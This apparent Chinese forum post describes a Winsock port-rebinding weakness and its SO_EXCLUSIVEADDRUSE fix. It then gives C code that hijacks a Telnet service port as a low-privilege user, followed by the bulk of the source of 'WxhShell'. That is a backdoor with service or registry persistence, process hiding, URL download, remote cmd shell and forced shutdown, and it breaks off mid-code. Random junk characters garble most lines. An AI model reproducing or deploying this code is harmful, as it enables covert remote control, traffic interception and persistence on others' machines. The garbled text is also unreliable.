在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7KT*p&xm s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6fwNlC/9 /iW+<@Mas saddr.sin_family = AF_INET;
]kh]l8t ^ Rq4;{a/j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>Wg=
Tuef Y#U.9>h bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9t! d.} ?y>N&\pt2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
g/?Vl2W j*=!M# D 这意味着什么?意味着可以进行如下的攻击:
@uSO~.7 Jcw^Z, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6#w>6g4V~R G,8mFH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
QE<Z@/V*a OqGp|` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(qcFGM22U $C16}^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OT#@\/> +)jUA]hJ/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
F)P:lvp<r QE]@xLz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
l;F"m+B!$ ZvY"yl?e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x/QqG1q s|YH_1r #include
h yrPu_
#include
0
_!0\d#c #include
uJ`N'`Z #include
M-WSdG[AJ DWORD WINAPI ClientThread(LPVOID lpParam);
ulR yt^bx| int main()
.EYL {
SX3'|'- WORD wVersionRequested;
/E>;O47a DWORD ret;
f5}afPk WSADATA wsaData;
Gz`Jzh
j BOOL val;
X)g
X9DA SOCKADDR_IN saddr;
yoE-a
SOCKADDR_IN scaddr;
goM;Pf
"< int err;
h'ik3mLH SOCKET s;
=D zrM% SOCKET sc;
WC_.j^sW int caddsize;
G/x6zdk HANDLE mt;
Km2~nkQ DWORD tid;
=^"Sx??V wVersionRequested = MAKEWORD( 2, 2 );
o:8ns m err = WSAStartup( wVersionRequested, &wsaData );
L3]J8oEmU if ( err != 0 ) {
^&3vGu9 printf("error!WSAStartup failed!\n");
hvt]VC]] return -1;
\e
a* }
Quth5 saddr.sin_family = AF_INET;
4^(x)r
&(? e9acI>^w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
32GI+NN s>9I#_4] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-]%EX:bm saddr.sin_port = htons(23);
_JH.&8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,>|tQ' {
2%/F`_XbP printf("error!socket failed!\n");
F6{g{
B return -1;
,#a4P`q'iC }
? Fqh
i val = TRUE;
/%YW[oY{V //SO_REUSEADDR选项就是可以实现端口重绑定的
]36SF5<0r
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?Ld),A/c {
~B<\#oO printf("error!setsockopt failed!\n");
eDd&vf return -1;
#v
c+;`X }
,Wtw0)4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r*HSi.'21 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Gm+D1l i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
e]<Syrk 0GMb?/
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4DIU7#GG {
k_g@4x1y* ret=GetLastError();
?!ap@)9 printf("error!bind failed!\n");
{\Pk;M{Y& return -1;
;LS. }
m?-)SA listen(s,2);
sBlq)h;G?6 while(1)
`JIp$ {
h(WlJCln caddsize = sizeof(scaddr);
c((3 B //接受连接请求
>A )Sl' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"t2T*'j{ if(sc!=INVALID_SOCKET)
~HY)$Yp; {
N\|B06X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
n%r>W^2j if(mt==NULL)
8] LF{Obz[ {
zDg*ds\ printf("Thread Creat Failed!\n");
f y|JE9Io_ break;
Q_T,=y }
l(Y32]Z }
sta/i?n CloseHandle(mt);
J5b3r1~D"[ }
ErN[maix# closesocket(s);
UAjN WSACleanup();
5ncW
s) return 0;
U["<f`z4\ }
7L+Wj }m DWORD WINAPI ClientThread(LPVOID lpParam)
$%U}k=- {
tE>FL SOCKET ss = (SOCKET)lpParam;
A._CCou SOCKET sc;
D~inR3(} unsigned char buf[4096];
[,&g46x22 SOCKADDR_IN saddr;
[\F:NLjiUy long num;
)^UqB0C6^ DWORD val;
d%@0xsU1 DWORD ret;
'+_-r'2 //如果是隐藏端口应用的话,可以在此处加一些判断
wz+mFf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z4z|B& saddr.sin_family = AF_INET;
}?b\/l< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vkLt#yj~ saddr.sin_port = htons(23);
C\rT'!Uk\Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q3r]T.].h {
;E}&{w/My printf("error!socket failed!\n");
gy1kb,MO return -1;
DvN_}h^nX }
SdufI_'B val = 100;
mj9|q8v{+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*{JD=ua {
B'Nvl# ret = GetLastError();
`zs@W
return -1;
E.'6p \ }
;8F6a:\v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b%VBSNZ {
zBrIhL]95 ret = GetLastError();
E=v4|/['N return -1;
+Kmxo4p }
i(u zb< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rI)&.5^ {
_ru<1n[4~ printf("error!socket connect failed!\n");
:U1V 2f'l3 closesocket(sc);
nP=/XiCj closesocket(ss);
E?0RR' return -1;
Kd#64NSi$A }
2}{[J while(1)
G4F~V't {
hHt.No //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6{Bvl[mhI //如果是嗅探内容的话,可以再此处进行内容分析和记录
xoSBMf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
rI:]''PR num = recv(ss,buf,4096,0);
a`||ePb|W~ if(num>0)
n[-d~ Ce2{ send(sc,buf,num,0);
ZDrTPnA[ else if(num==0)
lKirc2 break;
WsM/-P1Y num = recv(sc,buf,4096,0);
|qk%UN< if(num>0)
_i"[m(ABj1 send(ss,buf,num,0);
BW)t2kR& else if(num==0)
<RkJ7Z^ break;
=2wy;@f }
ku5g`ho closesocket(ss);
el0W0T closesocket(sc);
a'@?c_y;$ return 0 ;
2LN5}[12] }
8j%lM/ v 64!V8&Ay an?g'8! r: ==========================================================
j%&^qD,
iQaF R@ 下边附上一个代码,,WXhSHELL
f1VA61z{) i
`8Y/$aT ==========================================================
A7:W0Gg hmd, g>J:< #include "stdafx.h"
T\HP5& _nnl+S>K #include <stdio.h>
\RP=Gf #include <string.h>
Neb%D8/Kn #include <windows.h>
hta$k%2 #include <winsock2.h>
+hvVoBCM* #include <winsvc.h>
8<ri"m, #include <urlmon.h>
">RDa<H] <$;fOp #pragma comment (lib, "Ws2_32.lib")
8>jd2'v{ #pragma comment (lib, "urlmon.lib")
Y-,1&$& 0r\hX6 k #define MAX_USER 100 // 最大客户端连接数
)%OV|\5# #define BUF_SOCK 200 // sock buffer
whg?X&j\V #define KEY_BUFF 255 // 输入 buffer
ZGOI8M]@ tU7eW#"w #define REBOOT 0 // 重启
RT2a:3f #define SHUTDOWN 1 // 关机
dQFx]p3L $}7WJz: #define DEF_PORT 5000 // 监听端口
mE]W#?
BPKeG0F7 #define REG_LEN 16 // 注册表键长度
.es= w= #define SVC_LEN 80 // NT服务名长度
WaWx5Fx+
Om2
)$( // 从dll定义API
VuW&CnZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gasl%& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\*w*Q(&3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!'C^qrh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VL<)d- O@_)]z?jUc // wxhshell配置信息
[H)p#x struct WSCFG {
Wcn^IQ int ws_port; // 监听端口
!NYc!gYD char ws_passstr[REG_LEN]; // 口令
ZD0Q<8% int ws_autoins; // 安装标记, 1=yes 0=no
EY!aiH6P char ws_regname[REG_LEN]; // 注册表键名
@,sg^KB char ws_svcname[REG_LEN]; // 服务名
_W*3FH char ws_svcdisp[SVC_LEN]; // 服务显示名
rC<m6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
BZx#@356N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
H1=R(+-s int ws_downexe; // 下载执行标记, 1=yes 0=no
Ph.$]yQCc] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Md[nlz char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+Mv0X%(N Xf9VW}`*8 };
./ib{ @A. P*(lc: // default Wxhshell configuration
+]|J struct WSCFG wscfg={DEF_PORT,
\aT._'=M+ "xuhuanlingzhe",
poHDA=#
3 1,
e v?Hz8Q;( "Wxhshell",
-acW[$t "Wxhshell",
<<&:BK "WxhShell Service",
o,Ew7~u "Wrsky Windows CmdShell Service",
kAbT&Rm" "Please Input Your Password: ",
fwxyZBr 1,
F+L q "
http://www.wrsky.com/wxhshell.exe",
g >-iBxml "Wxhshell.exe"
|vWx[=`o };
z6FG^ Jp5~iC2d // 消息定义模块
D@4hQC\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
A"z') char *msg_ws_prompt="\n\r? for help\n\r#>";
T?7ZF+yo6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C2eei're char *msg_ws_ext="\n\rExit.";
kS?!"zk> char *msg_ws_end="\n\rQuit.";
$+[HJ{ char *msg_ws_boot="\n\rReboot...";
)n|:9hc char *msg_ws_poff="\n\rShutdown...";
HcQ{ok9u char *msg_ws_down="\n\rSave to ";
~"}-cl, 8u;l<^< char *msg_ws_err="\n\rErr!";
rmR7^Ycv/ char *msg_ws_ok="\n\rOK!";
a50{ gb# zc,fJM char ExeFile[MAX_PATH];
&sWq SS int nUser = 0;
U#,2et6 HANDLE handles[MAX_USER];
;U}lh~e11 int OsIsNt;
31YzTbl[H )Cyrs~ SERVICE_STATUS serviceStatus;
"vjz $. SERVICE_STATUS_HANDLE hServiceStatusHandle;
v D}y%} D,1S-< // 函数声明
|3\
mH~Bw int Install(void);
MWsBZJRr int Uninstall(void);
7PP76$ int DownloadFile(char *sURL, SOCKET wsh);
] X4A)%i int Boot(int flag);
H-0A&oG void HideProc(void);
=1yU&
PJ int GetOsVer(void);
J0lTp / int Wxhshell(SOCKET wsl);
IM)\-O\Wd void TalkWithClient(void *cs);
%,-vmqr int CmdShell(SOCKET sock);
-~v;'zOO int StartFromService(void);
3@s|tm1 int StartWxhshell(LPSTR lpCmdLine);
fkyj&M/ 8KT|ixs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!}Cd_tj6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
I6'U[)% z)yxz:E // 数据结构和表定义
-&D~TL# SERVICE_TABLE_ENTRY DispatchTable[] =
(?I8/KYR {
SpjL\ p0 {wscfg.ws_svcname, NTServiceMain},
q9yY% {NULL, NULL}
4vW:xK };
Zz,E4+'Rm kOx2P(UAEx // 自我安装
BRFA%FZ, int Install(void)
Pc`d@q {
kdITh9nx<r char svExeFile[MAX_PATH];
`8KWZi4
] HKEY key;
;:hyW,J strcpy(svExeFile,ExeFile);
W$v5o9\Px 'kL>F&| // 如果是win9x系统,修改注册表设为自启动
\ :1MM if(!OsIsNt) {
[>oq~[e)? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k2"Z:\?z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$j)Er.!9|R RegCloseKey(key);
RN]4 Is: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uw&GXOzew9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Nf%jLK~ RegCloseKey(key);
; mu9;ixZ return 0;
8h78Zb&[ }
5<<e_n.2q }
kZBIXW,G }
fF;Oz"I{\ else {
iXqc$!lTH 'bN\bbR // 如果是NT以上系统,安装为系统服务
8G?'F${` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M6jP>fbV* if (schSCManager!=0)
/Tv=BXL- {
0e^j :~* SC_HANDLE schService = CreateService
<fC gU& (
/x"gpKwsB schSCManager,
o 4L9Xb7=G wscfg.ws_svcname,
:=UiEDN@ wscfg.ws_svcdisp,
:(c2YZ
SERVICE_ALL_ACCESS,
72GXgah SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
gEcVQPD@ SERVICE_AUTO_START,
9TjAEeU SERVICE_ERROR_NORMAL,
2^Tj7@ svExeFile,
{d.`0v9h NULL,
zU:zzT}|TZ NULL,
9 %4Pt=v~d NULL,
Ka1
F7b NULL,
`zAV# NULL
zO<EbqNe! );
7 6~x|6) if (schService!=0)
/ZlW9| {
pv+FPB CloseServiceHandle(schService);
hun
LV8z CloseServiceHandle(schSCManager);
#IDDKUE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!T@>Ld: strcat(svExeFile,wscfg.ws_svcname);
8XD9fB^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
j
wlmWO6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j0L9Q|s RegCloseKey(key);
6*Qn9Q%p- return 0;
Ih!UL:Ckh }
+j_Vs+0 }
A0# K@ CloseServiceHandle(schSCManager);
u`$,S&Er }
%4Ylq|d }
@Ytsb!! e<dFvMO return 1;
oJVpNE[3] }
d}3<nz, I&3L1rl3{* // 自我卸载
F IDNhu int Uninstall(void)
l]Jk
}. {
m1a0uEA
G HKEY key;
AGQCk*dm ,Ej2]iO\7 if(!OsIsNt) {
7qt<CLJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3M8P% RegDeleteValue(key,wscfg.ws_regname);
8K*X]Z h RegCloseKey(key);
[Maon.t!l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"\Jq2vM RegDeleteValue(key,wscfg.ws_regname);
VV)PSo db RegCloseKey(key);
JXUnhjB,B return 0;
Gy.<gyK9 }
`0uKJFg }
YiB]}/ }
"Y}f"X| else {
LTG#nM0 .%+'Ts#ie SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9E)*X if (schSCManager!=0)
>Bq;Z}EV {
t }7hD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'Sppm;? if (schService!=0)
5Qd |R {
gF^l`1f" if(DeleteService(schService)!=0) {
( t#w@< CloseServiceHandle(schService);
N(vzxx^ CloseServiceHandle(schSCManager);
&{9'ylv-B) return 0;
OYzt>hdH }
9vWKyzMi CloseServiceHandle(schService);
~fI&F| }
5#g<L ~ CloseServiceHandle(schSCManager);
#QXv[%k }
@k<RX'~q }
qF`;xa%,} 0&=2+=[c return 1;
_s><>LH~ }
#pBAGm3 2`+ ?s // 从指定url下载文件
=rl/l8|P int DownloadFile(char *sURL, SOCKET wsh)
DBAJkBs {
</t_<I0{ HRESULT hr;
bR?-B>EB char seps[]= "/";
p|,K2^?Y char *token;
><"5
VwR char *file;
$Rv}L' L char myURL[MAX_PATH];
GsqR8n= char myFILE[MAX_PATH];
0t}=F4@&a 7IBm(# strcpy(myURL,sURL);
9<kKno token=strtok(myURL,seps);
)PL'^gRr while(token!=NULL)
,
M /-lW {
pWSYbN+d file=token;
8H./@~_ = token=strtok(NULL,seps);
Ox?LVRvxI }
E87/B%R YP>VC(f GetCurrentDirectory(MAX_PATH,myFILE);
&YO5N4X~o strcat(myFILE, "\\");
-?e~dLu strcat(myFILE, file);
cNw<k&w6F send(wsh,myFILE,strlen(myFILE),0);
-le:0NUwI send(wsh,"...",3,0);
mz1Xk ]nE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
' :g8a=L if(hr==S_OK)
>ly= O return 0;
M$FXDyr else
vxUJ4|Qz return 1;
{-^>)
iJqt aBr%"&Z.MG }
H`-%)c= &_,^OE}K_: // 系统电源模块
rr3NY$W int Boot(int flag)
bVtboHlY {
4S 2I]d HANDLE hToken;
7$x@;%xd TOKEN_PRIVILEGES tkp;
-2v|d]3qG ^wb -s if(OsIsNt) {
dS0G+3J&+E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\>cZ= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9XT6Gf56 tkp.PrivilegeCount = 1;
`>?\MWyu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.}ohnnJB0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fTY @{t if(flag==REBOOT) {
KK(x)( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;&WN%L* return 0;
}tft@,dIC }
q]<Xx{_ else {
~Az20RrK) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ETH`.~% return 0;
j!mI9*hP }
1)#<nk)I }
~IE:i-Kz else {
=zVbZ7 if(flag==REBOOT) {
1kio.9NIp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
mb0${n~fz return 0;
IL3,dad'^ }
8 PXleAn else {
VOG DD@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$Y$!nPO return 0;
2s-f?WetbP }
i= ~HXr} }
jA=uK6m n.$<D[@ return 1;
)K@ 20Q+0K }
gD=s~DgN) bT[Q:#GL // win9x进程隐藏模块
1uB}Oe2~ void HideProc(void)
z9h`sY~ {
'QeqWn 5y=X?hF~) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
iA^w2K if ( hKernel != NULL )
kt[#@M!} {
sN-5vYfC* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
TQ=\l*R(A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
lqX]'gu]\ FreeLibrary(hKernel);
Rr%]/% }
:U?P~HI F`Q,pBl1p6 return;
b ";#qVv C }
8C,?Ai<ro "kP.Kx! // 获取操作系统版本
L2{to f int GetOsVer(void)
@#VxjXW^ {
M*t@Q|$: OSVERSIONINFO winfo;
E'XFn' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
e{=7,DRH< GetVersionEx(&winfo);
RF6(n8["MW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
J'@I!Jc return 1;
^Xa-)Pu else
9!2KpuWji return 0;
U%gP2]t%cs }
y::KjB 0 WgE~H)_% // 客户端句柄模块
hJFQ/( int Wxhshell(SOCKET wsl)
2Q9s?C {
He#+zE; SOCKET wsh;
;-*4 (3lu struct sockaddr_in client;
JFYeOmR+l DWORD myID;
|8+<qgQ @D0Ut9) while(nUser<MAX_USER)
-uv1$| {
ocdXzk` int nSize=sizeof(client);
{zVJlJKxs wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1O(fI|gcO if(wsh==INVALID_SOCKET) return 1;
G92=b*x/ N1LR _vS" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XHN?pVZ7 if(handles[nUser]==0)
R#1m_6I closesocket(wsh);
Hd;>k$B else
i"JF~6c< nUser++;
c?q#?K
aF }
s<<vHzm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ReSP)%oW k9}im return 0;
tp 5]n`3rD }
%A82{ !vImmhI!I // 关闭 socket
W!IK>IW" void CloseIt(SOCKET wsh)
} k5pfz {
ld9zOq closesocket(wsh);
.YS[Md{
nUser--;
O~qB ExitThread(0);
rzqCQZHL5 }
vja^O
CZ]+B8Pl(x // 客户端请求句柄
/3Se*"u void TalkWithClient(void *cs)
+pf 7 {
B"+Ygvxb 3l4k2 SOCKET wsh=(SOCKET)cs;
]j1BEO!Bg char pwd[SVC_LEN];
&p=~=&g= char cmd[KEY_BUFF];
*l7
ojv char chr[1];
7RdL/21K int i,j;
i&_sbQ^ q/4PX while (nUser < MAX_USER) {
^~(bm$4r X^aujK^@ if(wscfg.ws_passstr) {
QF%@MK0zC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&mY<e4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_II;$_N //ZeroMemory(pwd,KEY_BUFF);
f, ;sEV i=0;
(%I`EAR while(i<SVC_LEN) {
Lo;T\CN xss D2*l // 设置超时
iT.hXzPzr* fd_set FdRead;
+ FLzK( struct timeval TimeOut;
N4H nW0 FD_ZERO(&FdRead);
q=96Ci _a FD_SET(wsh,&FdRead);
C}+(L3Z TimeOut.tv_sec=8;
jriliEz;f TimeOut.tv_usec=0;
j4G,Z4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Q%t8cJL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?dxhe7m }]g>PY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t5 5k#`Z pwd
=chr[0]; E"u>&uPH
if(chr[0]==0xd || chr[0]==0xa) { 0D.YO<PU
pwd=0; zH|!O!3"4
break; JY>]u*=
} CrqWlO
i++; Dj<Vn%d*
} 7&T1RB'>
u9VJ{F
// 如果是非法用户,关闭 socket
/D~z}\k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $9hOWti
} T[<9Ty'^
"G4{;!0C
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1h)I&T"kZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Zs-<e"
:[AW
while(1) { 0eUsvzz15
B}*xrPj
ZeroMemory(cmd,KEY_BUFF); N2~DxVJ5cT
$e<3z6
// 自动支持客户端 telnet标准 kA#>Xu/
j=0; a&y%|Gs^f
while(j<KEY_BUFF) { B d\p!f<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2abWIw4
cmd[j]=chr[0]; d_]MqH>R\
if(chr[0]==0xa || chr[0]==0xd) { BJ{mX>I(
cmd[j]=0; N %0F[sY6
break; 53l9s<bOQ
} :r#FI".qx
j++; Jh }3AoD
} nwV\[E
%X#Wc:b
// 下载文件 [>6:xGSe9X
if(strstr(cmd,"http://")) { 'z+8;g.ekO
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >i`'e~%
if(DownloadFile(cmd,wsh)) tK]r>?Y\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WH'[~O
else A\z[/3& RK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2qvK}
} )8LCmvQ
else { Zkxt>%20~
x2K.5q>
switch(cmd[0]) { hEEbH@b
*=r,V
// 帮助 v?Y9z!M
case '?': { +gT?{;3[i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -
d>)
break; ZM4q@O)/
} B23R9.FK
// 安装 lm@<i4%$F
case 'i': { ^#"!uCq]gM
if(Install()) oOJN?97!k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4+;Ey
else 3:);vh!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \_BaV0<
break; h4.ZR={E
} ?M\3n5;
// 卸载 BIX%Bu0'f
case 'r': { )e{~x
u
if(Uninstall()) 6AzH'HF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t
ZFG`'/
else wRU pQ~=B2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j;<;?IW
break; RCgs3JIE+2
} ,=z8aiUu
// 显示 wxhshell 所在路径 m qtl0P0
case 'p': { w{Dk,9>w)
char svExeFile[MAX_PATH]; [h,T.zpa
strcpy(svExeFile,"\n\r"); 13
strcat(svExeFile,ExeFile); cV)C:!W2
send(wsh,svExeFile,strlen(svExeFile),0); # {!Qf\1M
break;
SRj|XCd
} [\.
ho9
// 重启 )S>~ h;
case 'b': { B4&x?-0ZC
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _RjM .
if(Boot(REBOOT)) [}d
3u!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I_Oa<J\+
else { 3LX<&."z
closesocket(wsh); 2<Ub[R
ExitThread(0); :^?ZVi59j
} ,R*ru*
break; .qF@
}dO
} ]y!|x_5c3
// 关机 _X;5ORH"
case 'd': { W^al`lg+y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $Ne#F+M9x
if(Boot(SHUTDOWN)) e
0!a
&w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tQ] R@i
else { 0$* z
closesocket(wsh); f,PFvT$5e
ExitThread(0); $NJi]g|<3
} k,b(MAiQ0
break; O^oFH
OpFh
} m.S@ e8kS
// 获取shell 7c<2oTN'
case 's': { TvMY\e
CmdShell(wsh); }GQ8|fg`U
closesocket(wsh); j'CRm5O
ExitThread(0); &~^"yo#b
break; bg[q8IBCd
} R}Z"Yxx
// 退出 g2 4)GjDi
case 'x': { ~])\xC
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pD.7ib^
CloseIt(wsh); ~eqX<0hf@
break; _<kE32Bb
} !^G+@~U
// 离开 H9nZ%n
case 'q': { 9 `J `(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); AUxLch+"5K
closesocket(wsh); l0[jepmpiT
WSACleanup(); u`K+0^)T`
exit(1); gwR ^Z{
break; 7P!/jawxb
} u[PO'6Kzd
} WB$Z<m:
} jcFh2
]?mWnEi!z
// 提示信息 QoI@/
jLj
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :NS;y-{^^y
} }"Y]GH4Y
} nN/v7^^
A3yVT8
return; A$fd6+{
} 6$@Pk<w
<k/'mBDk
// shell模块句柄 u|9^tHT>
int CmdShell(SOCKET sock) rWi9'6
{ %+FM$xyJ
STARTUPINFO si; =@V4V} ?
ZeroMemory(&si,sizeof(si)); ~SP.&>Q>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t3v*P6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pg*'2AT
PROCESS_INFORMATION ProcessInfo; #j iQa"
char cmdline[]="cmd"; c3i|q@ k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e+4p__TmZ
return 0; ^/mQo`[G
} LQNu]2
m7^a4
// 自身启动模式 g|e^}voRM
int StartFromService(void) BxO2w1G
{ U-X
typedef struct Wky~ hm
{ Vg6?a
DWORD ExitStatus; #=Q/<r.~G
DWORD PebBaseAddress;
